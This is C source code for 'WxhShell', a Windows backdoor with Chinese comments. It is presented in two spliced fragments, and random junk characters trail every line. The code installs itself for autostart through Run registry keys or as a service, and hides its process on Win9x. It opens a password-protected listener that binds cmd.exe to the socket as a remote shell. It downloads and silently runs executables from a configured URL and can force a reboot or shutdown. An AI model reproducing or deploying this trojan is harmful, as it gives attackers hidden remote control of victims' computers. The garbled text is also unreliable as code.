    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 9 wSl,B-  
    if(Boot(SHUTDOWN)) CQBT::  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); - - i&"  
    else { o <D3Y95b  
    closesocket(wsh); ^sT +5M^  
    ExitThread(0); l$qStL*8O  
    } YeRcf`  
    break; P1 7>6)a  
    } ;Na8 _}  
  // 获取shell k1f3?l vlU  
  case 's': { S_T{L  
    CmdShell(wsh); :k ME  
    closesocket(wsh); Y)Znb;`?a  
    ExitThread(0); ?jNF6z*M6  
    break; qeQC&U y;  
  } fuNl4BU  
  // 退出 FG>;P]mvp  
  case 'x': { 8^<c,!DM  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); q)K-vt)98  
    CloseIt(wsh); OH$ F >wO  
    break; eW%L$I  
    } %;pD8WgJA  
  // 离开 6P%<[Z  
  case 'q': { ilDJwZg#  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); < -Hs<T|tW  
    closesocket(wsh); >vD['XN,  
    WSACleanup(); E6'8Zb  
    exit(1); 3AdP^B<  
    break; TnN^2:cU  
        } E1c>nrnh*  
  } 9,S,NvSq  
  } [<D+p qh  
$:f.Krj  
  // 提示信息 tk`: CT *  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 84[|qB,ML  
} tr}KPdE  
  } K[Y c<Q  
z3^RUoGU  
  return; X+`ddX  
} -@%t"8  
U9<_6Bsd  
// shell模块句柄 _-@ZOhw&  
int CmdShell(SOCKET sock) n\Z^K  
{ 9"WRIHt'c  
STARTUPINFO si; y0scL7/  
ZeroMemory(&si,sizeof(si)); I$aXnd6)  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; /J1S@-  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; s~'9Hv9  
PROCESS_INFORMATION ProcessInfo; f*{M3"$E  
char cmdline[]="cmd"; <)_:NRjBF&  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); {[Uti^)m%  
  return 0; %:" RzHN  
} Jq# [uX  
8_"3Yb`f  
// 自身启动模式 'is,^q:@  
int StartFromService(void) J*}VV9H  
{ /lf\ E=  
typedef struct t *o7,  
{ r> Fec  
  DWORD ExitStatus; o{9?:*?7  
  DWORD PebBaseAddress; -`-ACWeNV  
  DWORD AffinityMask; jv*Dg (  
  DWORD BasePriority; pZu?V"R  
  ULONG UniqueProcessId; @kwLBAK}@  
  ULONG InheritedFromUniqueProcessId; sEoZ1E  
}   PROCESS_BASIC_INFORMATION; N1YgYL  
)2) Zz +<  
PROCNTQSIP NtQueryInformationProcess; ^Lsc`<xC  
~J%R-{U9  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; |tG05+M  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; D4AEZgC F,  
IgLVn<5n  
  HANDLE             hProcess; ])N|[|$  
  PROCESS_BASIC_INFORMATION pbi; sk#9x`Rw  
jz %;4e~t  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); hbV E; 9  
  if(NULL == hInst ) return 0; |)^clkuGX  
:L]-'\y  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); / pO{2[  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); _mw13jcN]  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 53bM+  
CI IY|DI`l  
  if (!NtQueryInformationProcess) return 0; Lqg] Fd  
kVWGDI$~  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Er`TryN|}  
  if(!hProcess) return 0; nARxn#<+  
XQK^$Iq]V  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ]9fS@SHdx  
qO7fbql_  
  CloseHandle(hProcess); 1W*V2`0>  
SxMxe,.|  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); DD2adu^  
if(hProcess==NULL) return 0; )i&%cyZw  
\'[3^/('  
HMODULE hMod; s;s0}Td_1  
char procName[255]; )r=9]0=  
unsigned long cbNeeded; "P MO  
] F*|U`  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); v,n);  
S<V-ZV&_:U  
  CloseHandle(hProcess); <BZ_ (H  
1d`cTaQ-  
if(strstr(procName,"services")) return 1; // 以服务启动 Ny[Q T*nV  
(viWY  
  return 0; // 注册表启动 =ntft SH  
} $?-7OXj<  
HB%K|&!+  
// 主模块 7@JjjV  
int StartWxhshell(LPSTR lpCmdLine) vxb@9 eb!H  
{ B i'd5B5  
  SOCKET wsl; {&E?<D2_&  
BOOL val=TRUE; YmOldR9v(  
  int port=0; E\ tL   
  struct sockaddr_in door; Z?-;.G*  
[9LxhPi  
  if(wscfg.ws_autoins) Install(); 8IeI0f"l)  
'[%jjUU  
port=atoi(lpCmdLine); B<Ol+)@,}  
qbH %Hx  
if(port<=0) port=wscfg.ws_port; U4]30B{;H  
X) 8e4~(?  
  WSADATA data; TFo}\B7  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; )GK+  
!-7_ +v>  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   \]t]#D>0  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 5~QhX22  
  door.sin_family = AF_INET; k<!<<,Z  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); (9E( Q*J5x  
  door.sin_port = htons(port); / HL_$g<  
nMkOUW:T!  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Cb4_ ?OR0  
closesocket(wsl); ka/nQ~_#<  
return 1; [8.-(-/;  
} I4ebkPgf  
36nyu_h:R  
  if(listen(wsl,2) == INVALID_SOCKET) { ,'=hjIel  
closesocket(wsl); >d#3|;RY  
return 1; pKq]X}[^c  
} axtb<5&  
  Wxhshell(wsl); B4IBuS  
  WSACleanup(); ,'u*ZB;  
uj)yk*  
return 0; d bCNhbN(  
Oc#>QZ3  
} ^}hJL7O'  
z4bN)W )p  
// 以NT服务方式启动  ![ a  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) dIvy!d2l  
{ wE?CvL  
DWORD   status = 0; 7N| AA^I  
  DWORD   specificError = 0xfffffff; B@"J]S  
)J&|\m(e  
  serviceStatus.dwServiceType     = SERVICE_WIN32; F.68iN}  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; qIz}$%!A  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; mf$Sa58  
  serviceStatus.dwWin32ExitCode     = 0; g &*mozs  
  serviceStatus.dwServiceSpecificExitCode = 0; CG.,/]_  
  serviceStatus.dwCheckPoint       = 0; mzz$`M 1  
  serviceStatus.dwWaitHint       = 0; f9a$$nb3`  
RtwUb(wn6  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); vTHq)C.7G  
  if (hServiceStatusHandle==0) return; !3@{U@*Z]  
v$;@0t:;#  
status = GetLastError(); Je 31".  
  if (status!=NO_ERROR) Od-Ax+Hp  
{ W tVf wC_  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; fgmSgG"b  
    serviceStatus.dwCheckPoint       = 0; Dm^l?Z  
    serviceStatus.dwWaitHint       = 0; &sdx`,  
    serviceStatus.dwWin32ExitCode     = status; _KN: o10U  
    serviceStatus.dwServiceSpecificExitCode = specificError; Ev{MCu1!6  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ] opto  
    return; &atyDFJ'  
  } Q(e{~ ]*  
}3J=DCtS  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; eIJ[0c b}  
  serviceStatus.dwCheckPoint       = 0; >L=;"+B0U&  
  serviceStatus.dwWaitHint       = 0; 6A?8tm/0  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); F\-Si!~oOz  
} lov%V*tL  
x9&p!&*&IT  
// 处理NT服务事件,比如:启动、停止 f3 vF"O  
VOID WINAPI NTServiceHandler(DWORD fdwControl) toIYE*ocv=  
{ ceG&,a$\  
switch(fdwControl) A? r^V2+j  
{ 'g hys1H  
case SERVICE_CONTROL_STOP: VX!hv`E  
  serviceStatus.dwWin32ExitCode = 0; :BD>yOlG  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; K"w%n[u)  
  serviceStatus.dwCheckPoint   = 0; -?z\5 z  
  serviceStatus.dwWaitHint     = 0; ,rai%T/rL  
  { I0_Ecp  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~j"3}wXc5  
  } 'fn$'CeM(  
  return; WqQU@sA  
case SERVICE_CONTROL_PAUSE: #w|5 jN?  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; dlR_ckp  
  break; Zi*%*nX  
case SERVICE_CONTROL_CONTINUE: R$d7\nBG  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; P#;Th8k{K2  
  break; kC`Rd:5  
case SERVICE_CONTROL_INTERROGATE: jkt 6/H  
  break; $@.jZ_G  
}; i ?-Y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); n"Z |e tZ4  
} 95L yYg  
\0&SI1Yp  
// 标准应用程序主函数 ?4[NNL  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) RB;BQoGX  
{ \=fh-c(J,  
q:]Q% IC^  
// 获取操作系统版本 Sc_5FX\Yx  
OsIsNt=GetOsVer(); `HyF_m>\  
GetModuleFileName(NULL,ExeFile,MAX_PATH); J^:n* C  
M4:s;@qZ.  
  // 从命令行安装 l!@ 1u^v2  
  if(strpbrk(lpCmdLine,"iI")) Install(); aq$q ~,E  
,Xtj;@~-  
  // 下载执行文件 KUKI qAA  
if(wscfg.ws_downexe) { bo>E"<  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 8R?I`M_b  
  WinExec(wscfg.ws_filenam,SW_HIDE); 8UM0vNk  
} n NQ-"t  
30d#Lq  
if(!OsIsNt) { Mk5RHDh  
// 如果时win9x,隐藏进程并且设置为注册表启动 $3\,h; y  
HideProc(); Y0RgJn  
StartWxhshell(lpCmdLine); ^Xs]C|=W  
} q.T:0|  
else 5v|EAjB6o  
  if(StartFromService()) JC2*$qu J  
  // 以服务方式启动 B;W(iI  
  StartServiceCtrlDispatcher(DispatchTable); X8R1a?  
else pkk4h2Ah  
  // 普通方式启动 "dtlME{Bx  
  StartWxhshell(lpCmdLine); fRNP#pi0u  
o;J;k_[MX  
return 0; 6t m \L  
} O{ q&]~,  
vRr9%zx  
V3uXan_  
T 6HU*(  
=========================================== WcEt%mGQ,  
Nfb`YU=  
X-/Ban  
bVK$.*,  
 }_%P6  
{y-`QS  
" (p,}'I#i*  
#pA[k -  
#include <stdio.h> #>[wD#XJV  
#include <string.h> eY}V9*.v  
#include <windows.h> wS$46M<  
#include <winsock2.h> u"FjwF?  
#include <winsvc.h> x~+-VF3/  
#include <urlmon.h> s MZ[d\  
mH\@QdF  
#pragma comment (lib, "Ws2_32.lib") BS2?!;,8  
#pragma comment (lib, "urlmon.lib") KB[QZ`"%!  
e U;jP]FA  
#define MAX_USER   100 // 最大客户端连接数 XwPx9+b6j  
#define BUF_SOCK   200 // sock buffer  hY=I5[*  
#define KEY_BUFF   255 // 输入 buffer (>AFyh&3,X  
Dbz]{_Y;  
#define REBOOT     0   // 重启 vr4S9`,  
#define SHUTDOWN   1   // 关机 Ue7 6py9  
[:B*6FXMN~  
#define DEF_PORT   5000 // 监听端口 88o:NJ}_  
c<jB6|.=2  
#define REG_LEN     16   // 注册表键长度 ZqK]jT6V/X  
#define SVC_LEN     80   // NT服务名长度 % rcFT_  
jBRPR R0  
// 从dll定义API 1X&B:_  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); VMHC/jlX@r  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);  Zi4d]  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); =DMbz`t  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 28oJFi]  
MZ~.(&  
// wxhshell配置信息 M[s\E4l:t  
struct WSCFG { d+5:Qrr  
  int ws_port;         // 监听端口 Kz[BB@[  
  char ws_passstr[REG_LEN]; // 口令 #{,h@g}W  
  int ws_autoins;       // 安装标记, 1=yes 0=no KY+]RxX  
  char ws_regname[REG_LEN]; // 注册表键名 <'2u a  
  char ws_svcname[REG_LEN]; // 服务名 [@2s&Ct;  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 %h/! Y<%  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 MGybGbd  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 6mHhC?  
int ws_downexe;       // 下载执行标记, 1=yes 0=no a D|Yo  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" TQ'e  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 p;`N\.ld  
' ^a!`"Bc  
}; ;rHz;]si  
/b{HG7i\  
// default Wxhshell configuration #T"64%dX  
struct WSCFG wscfg={DEF_PORT, QJSr:dP4dG  
    "xuhuanlingzhe", * nCx[  
    1, I?M@5u  
    "Wxhshell", ^'W%X  
    "Wxhshell", x+^Vg3 q  
            "WxhShell Service", ,sI35I J  
    "Wrsky Windows CmdShell Service", $?f]ZyZr.  
    "Please Input Your Password: ", =P]GPEz_  
  1, !nzGH*td  
  "http://www.wrsky.com/wxhshell.exe", K7RKF$Z\  
  "Wxhshell.exe" oAz<G  
    }; W ~NYU  
}n[Bq#  
// 消息定义模块 , ` o+ ?  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ,q</@}.\wN  
char *msg_ws_prompt="\n\r? for help\n\r#>"; v#Upw\!  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; nh;y:Bi  
char *msg_ws_ext="\n\rExit."; #r}uin*jD  
char *msg_ws_end="\n\rQuit."; =v 0~[ E4  
char *msg_ws_boot="\n\rReboot..."; xb`CdtG2.  
char *msg_ws_poff="\n\rShutdown..."; o4~kX  
char *msg_ws_down="\n\rSave to "; or.\)(m#(  
B_&^ER5j  
char *msg_ws_err="\n\rErr!"; 5^2TfG9  
char *msg_ws_ok="\n\rOK!"; bQ.nFa']  
qZbHMTnT6  
char ExeFile[MAX_PATH]; Ja [#[BJ?  
int nUser = 0; X6kaL3L}  
HANDLE handles[MAX_USER]; |Puj7Ru  
int OsIsNt; 0jTMZ<&zZ  
j_c+.iET  
SERVICE_STATUS       serviceStatus; `M]BhW)  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; PL@7 KD Q  
5/(sjMB  
// 函数声明 a_%>CD${t  
int Install(void); Q>%E`h  
int Uninstall(void); o9+Q{|r  
int DownloadFile(char *sURL, SOCKET wsh); WZK :.y  
int Boot(int flag); }`]]b+_b>@  
void HideProc(void); OG}KqG!n  
int GetOsVer(void); mz-N{>k  
int Wxhshell(SOCKET wsl); "tX7%(  
void TalkWithClient(void *cs); h2;l1 G,  
int CmdShell(SOCKET sock); QgZJ`G--  
int StartFromService(void); vJThU$s-  
int StartWxhshell(LPSTR lpCmdLine); ?*+1~m>  
7@a\*|K6  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Wr#~GFg  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Pz1G<eh#{g  
w%2ziwgh  
// 数据结构和表定义 d?}hCo=/Xq  
SERVICE_TABLE_ENTRY DispatchTable[] = #ovM(Mld  
{ xVTo4-[p  
{wscfg.ws_svcname, NTServiceMain}, UN(3i(d  
{NULL, NULL} A^L?_\e6  
}; e^WqJ7j  
c(&AnIlS  
// 自我安装 r0uJ$/!  
int Install(void) %I}'Vb{C  
{ >#?iO]).  
  char svExeFile[MAX_PATH]; Om6Mmoqh  
  HKEY key; niAZ$w  
  strcpy(svExeFile,ExeFile); WKOI\  
c/RT0xql*  
// 如果是win9x系统,修改注册表设为自启动 eA&t %  
if(!OsIsNt) { z}3di5+P  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^XNw$@&',  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); -#OwJ*-U  
  RegCloseKey(key); b=G4MZQ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Yx 3|G  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /N%zwj/*  
  RegCloseKey(key); g/B\ObY  
  return 0; fFHK:n`  
    } Iu%^*K%  
  } Iht'e8)gq  
} O$U}d-Xnx  
else { UQnBqkE  
jm+ blB^%K  
// 如果是NT以上系统,安装为系统服务 Bs@:rhDi  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 8W@dtZ,d  
if (schSCManager!=0) p9Z ].5Pd"  
{ BjB&[5?z  
  SC_HANDLE schService = CreateService $':JI#  
  ( sX!3_ '-  
  schSCManager, Wt"ww~h`(  
  wscfg.ws_svcname, z6 a,0&;-L  
  wscfg.ws_svcdisp, bl`D+/V   
  SERVICE_ALL_ACCESS, i)[kubM  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , LS{bg.e  
  SERVICE_AUTO_START, 0W_mCV  
  SERVICE_ERROR_NORMAL, X*)?LxTj  
  svExeFile, '9"%@AFxZ  
  NULL, {=qEBbM  
  NULL, R)Q/Ff@o0  
  NULL, fw:7U %MGv  
  NULL, },v&rkwR  
  NULL G"{4'LlA  
  ); \Vz,wy%-  
  if (schService!=0) !"`Jqs  
  { S7Znz@  
  CloseServiceHandle(schService); blUY.{NN3  
  CloseServiceHandle(schSCManager); l\_x(BH  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); m^'~&!ba  
  strcat(svExeFile,wscfg.ws_svcname); :q(D(mK  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Ca X^)  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 'V1!&Q6  
  RegCloseKey(key); %pH)paRAP  
  return 0; B#QL M^  
    } Q7L)f71i  
  } */4tJ G1U  
  CloseServiceHandle(schSCManager); @K7ebYr?  
} %n4@[fG%K  
} +;YE)~R?  
vUqe.?5  
return 1; 4Q@\h=r  
} b'&LBT7  
nT#37v  
// 自我卸载 &yB%QX{3  
int Uninstall(void) =,O /,2)  
{ lx`q *&E  
  HKEY key; c5<kbe  
7&h\l6}Yh  
if(!OsIsNt) { >B`Cch/ 'U  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { t?KUK>>w  
  RegDeleteValue(key,wscfg.ws_regname); ::v;)VdX+*  
  RegCloseKey(key); Z>X9J(=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { U&`6&$]  
  RegDeleteValue(key,wscfg.ws_regname); 5[nmP95YK  
  RegCloseKey(key); J_|7$ l/  
  return 0; tc"T}huypU  
  } )ni"qv~J  
} u IAZo;  
} ,tau9>!  
else { @51z-T  
cT\O v P*_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); K!9y+%01  
if (schSCManager!=0) NWw<B3aL  
{ E=}6 X9X  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); vz- 9<w;>a  
  if (schService!=0) yq1Gqbh l  
  { L^6"' #  
  if(DeleteService(schService)!=0) { aXQ&@BZ {j  
  CloseServiceHandle(schService); AbL5 !'  
  CloseServiceHandle(schSCManager); m\_+)eI|  
  return 0; 7F"3<U@J  
  } 3(MoXA*  
  CloseServiceHandle(schService); >ze>Xr'm5=  
  } BHEs+ e0  
  CloseServiceHandle(schSCManager); xT:qe  
} ;& RUE  
} pi|\0lH6W  
t#a.}Jl  
return 1; cZ6?P`X  
} b*cW<vX}~  
:b.3CL\.6  
// 从指定url下载文件 a:=q8Qy  
int DownloadFile(char *sURL, SOCKET wsh) $[)6H7!U)  
{ ThjUiuWe  
  HRESULT hr; @mvIt  
char seps[]= "/"; zB;'_[8M  
char *token; AU3auBol ^  
char *file; Tnf&pu#5  
char myURL[MAX_PATH]; MKV=m8G=  
char myFILE[MAX_PATH]; 2r %>]y  
9 aY'0wa  
strcpy(myURL,sURL); ?$UH9T9)  
  token=strtok(myURL,seps); S4;wa6  
  while(token!=NULL) MomLda V9Q  
  { wYZy e^7  
    file=token; W/b"a?wE{  
  token=strtok(NULL,seps); s.f`.o  
  } d&/^34gn  
)C'G2RV  
GetCurrentDirectory(MAX_PATH,myFILE); X7t 5b7  
strcat(myFILE, "\\"); ]\[m=0K  
strcat(myFILE, file); jn.R.}TT  
  send(wsh,myFILE,strlen(myFILE),0); @<hF.4,]  
send(wsh,"...",3,0); ;gZwQ6)i  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 2b; rr  
  if(hr==S_OK) CW.&Y?>Tv  
return 0; V*~1,6N [  
else ,h3269$J  
return 1; J@oEV=L  
?R dmKA  
} Mi;}.K0J  
=6.8bZT\  
// 系统电源模块 qlz( W  
int Boot(int flag) <FCj)CP%  
{ suA+8}o]  
  HANDLE hToken; :({-0&&_  
  TOKEN_PRIVILEGES tkp; }rO?5  
yTzY?  
  if(OsIsNt) { *rS9eej  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); k\sc }z8X  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); qFV;n6&V  
    tkp.PrivilegeCount = 1; Ly#h|)  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ~%olCxfO  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); \;nD)<)J  
if(flag==REBOOT) { 6H(fk1E  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) G> f^ 2  
  return 0; CnxK+1n l  
} 3$GY,B  
else { _<u8%\  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) vpZu.#5c  
  return 0; 1"8Z y6t  
} `4q5CJ2  
  } 43vGgGW  
  else { \4[c}l  
if(flag==REBOOT) { )B -MPuB  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ^VSt9 &  
  return 0; W,QnU d'N  
} ^n\9AE3  
else { ]jHh7> D  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) BNAguAxWo  
  return 0; <;2P._oZ  
} 8QkWgd7y  
} 4yA9Ni  
?b!CV   
return 1; tebWj>+1c  
} bYwI==3  
g*:ae;GP  
// win9x进程隐藏模块 \>*MMe  
void HideProc(void) YD/B')/ s  
{ }*fW!(*  
+=|hMQ;  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 71oFm1m{  
  if ( hKernel != NULL ) zjluX\  
  { Z! C`f/h9  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); V_)5Af3wY  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ^CowJ(y(  
    FreeLibrary(hKernel); .Q=2WCv0  
  } Jngll  
D8r>a"gx  
return; P<j4\zJ  
} &{-oA_@  
M/::`yJQu  
// 获取操作系统版本 Hs:4I  
int GetOsVer(void) {:};(oz)f  
{ k| _$R?  
  OSVERSIONINFO winfo; '1>g=Ic0  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); =oL8d 6nI  
  GetVersionEx(&winfo); YtwmlIar`  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) \Dvl%:8   
  return 1; @ A~B ,  
  else W~XV  
  return 0; 4kW 30Ma  
} wx]+*Lzz  
8ktjDs$=.:  
// 客户端句柄模块 A }>|tm7|  
int Wxhshell(SOCKET wsl) )64LKb$  
{ HGP%a1RF#  
  SOCKET wsh; kPx]u\  
  struct sockaddr_in client; @+0@BO1 2  
  DWORD myID; fZka%[B  
Wo:zU  
  while(nUser<MAX_USER) otmIu`h  
{ b xk'a,!S  
  int nSize=sizeof(client); ^@|<'g.R-  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); >< <$  
  if(wsh==INVALID_SOCKET) return 1; <GL}1W"Ay  
ql#{=oGDnA  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); >,w\lf9  
if(handles[nUser]==0) ?6gDbE%  
  closesocket(wsh); !(MA5L-  
else Z^/z  
  nUser++; VYl_U?D  
  } bqw/O`*wfN  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); /t$+Af,}  
htUy2v#V  
  return 0; h/0<:eZ*  
} w%i+>\tO  
p=8M0k  
// 关闭 socket _Ewy^;S%L  
void CloseIt(SOCKET wsh) xh+AZ3  
{ "K}W^J9v  
closesocket(wsh); 5t"bCzp  
nUser--; X7XCZSh#A  
ExitThread(0); zer&`Vr  
} m6~ sKJV  
?MV[=LPL  
// 客户端请求句柄 tMD^$E"C  
void TalkWithClient(void *cs) U<ku_(2"#  
{ L337/8fh  
7 SjF9x  
  SOCKET wsh=(SOCKET)cs; ~.PPf/ Z8]  
  char pwd[SVC_LEN]; !L0E03')k  
  char cmd[KEY_BUFF]; ( )JYN5  
char chr[1]; !^Z[z[  
int i,j; 3X-{2R/ 3  
*@bg/S K%  
  while (nUser < MAX_USER) { Xhq? 7P$3  
7`uA  
if(wscfg.ws_passstr) { X <ba|(  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `'G),{ j  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^G'yaaLXR  
  //ZeroMemory(pwd,KEY_BUFF); haEZp6Z  
      i=0; ~,1-$#R  
  while(i<SVC_LEN) { CO:m]oj  
bBeFL~  
  // 设置超时 mR" 2  
  fd_set FdRead; Mv7w5vTl  
  struct timeval TimeOut; eLDL  "L  
  FD_ZERO(&FdRead); N8DiEB3~  
  FD_SET(wsh,&FdRead); YobC'c\~9  
  TimeOut.tv_sec=8; uNPD~TYN  
  TimeOut.tv_usec=0; $+!}Vtb  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Azq#}Oe)u  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); |k7ts&2  
Q ^1#xBd  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); eu}:Wg2  
  pwd=chr[0]; i h`y0(<  
  if(chr[0]==0xd || chr[0]==0xa) { Pjj;.c 7_j  
  pwd=0; OVQxZ~uQ  
  break; {jx#^n&5R  
  } ;H m-,W  
  i++; &geOFe}R  
    } 5H'b4Cyi`  
@ 2%.>0s.  
  // 如果是非法用户,关闭 socket 6S! lD=  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); m5'__<  
} A3 Rm 0  
%4r!7X|O<  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); =XRgT1>e  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~Me&cT8  
/_zF?5h  
while(1) { Y>dg10=  
B Z\EqB  
  ZeroMemory(cmd,KEY_BUFF); xy z\;3  
Vne. HFXA  
      // 自动支持客户端 telnet标准   72 s$  
  j=0; % Zl_{Q]h  
  while(j<KEY_BUFF) { %b>y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); X."h Tha5  
  cmd[j]=chr[0]; dp//p)B>  
  if(chr[0]==0xa || chr[0]==0xd) { psyH?&T  
  cmd[j]=0; GH; F3s  
  break; O'&X aaZV  
  } fdCxMKlu;  
  j++; <Hr@~<@~  
    } 3*2&Fw!B  
{Gb)Et]<  
  // 下载文件 gk_Xu  
  if(strstr(cmd,"http://")) { zM8/ s96h  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); A\PV@w%A i  
  if(DownloadFile(cmd,wsh)) . f.j >  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZAnO$pA  
  else 4Ow Vt&  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); PU@U@  
